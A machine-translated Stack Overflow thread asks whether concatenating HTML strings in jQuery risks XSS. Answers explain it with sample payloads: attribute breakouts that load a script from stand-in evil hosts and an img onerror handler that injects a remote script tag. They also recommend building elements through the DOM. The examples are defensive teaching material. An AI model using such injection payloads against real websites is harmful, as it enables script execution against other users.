托管我们网站的公司在部署之前审查了我们的代码--他们最近告诉我们:
XSS字符串永远不应该被直接操作,因为这会给我们带来潜在的
漏洞。相反,始终使用DOM创建的elements...that可以是jQuery或直接的DOM。
例如,而不是
this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' );
他们让我们去做
var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );
这是真的吗?谁能给我们举一个XSS攻击的例子,它可以利用像第一个一样的HTML字符串?
发布于 2014-11-18 17:40:56
如果以某种方式修改了this.au
,它可能包含以下内容:
"><script src="http://example.com/evilScript.js"></script><span class="
这会弄乱你的HTML并注入一个脚本:
<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>
如果使用DOM操作来设置src
属性,脚本(或您使用的任何其他XSS )将不会被执行,因为它将被DOM正确地转义。
对于一些评论员说如果有人可以修改this.au
,他们肯定可以自己运行脚本:我不知道this.au
是从哪里来的,也不是特别相关。它可能是来自数据库的值,并且数据库可能已被破坏。这也可能是恶意用户试图为其他用户搞砸事情。它甚至可能是一个无辜的非技术人员,他们没有意识到编写"def" > "abc"
会毁掉一些东西。
还有一件事。在您提供的代码中,var quizAuLink = $( 'a' );
不会创建新的<a>
元素。它只会选择所有现有的。您需要使用var quizAuLink = $( '<a>' );
来创建一个新的。
发布于 2014-11-18 21:03:05
这应该是安全的,而不会对可读性造成太大的影响:
var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>');
link.data("src", this.au);
关键是要避免使用字符串操作来构建HTML字符串。请注意,在上面的代码中,我只使用了$()
来解析一个常量字符串,这个常量字符串会解析成一个众所周知的结果。在本例中,只有this.au
部件是危险的,因为它可能包含动态计算的值。
发布于 2014-11-18 17:46:19
由于您不能使用.innerHTML
在现代浏览器中注入脚本标记,因此您需要侦听一个事件:
如果以某种方式修改了this.au
,它可能包含以下内容:
"><img src="broken-path.png" onerror="alert('my injection');"><span class="
这会弄乱你的HTML并注入一个脚本:
<a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a>
当然也要运行更大的JavaScript set onerror来:
var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s);
感谢Scimoster的样板
https://stackoverflow.com/questions/26990899
复制相似问题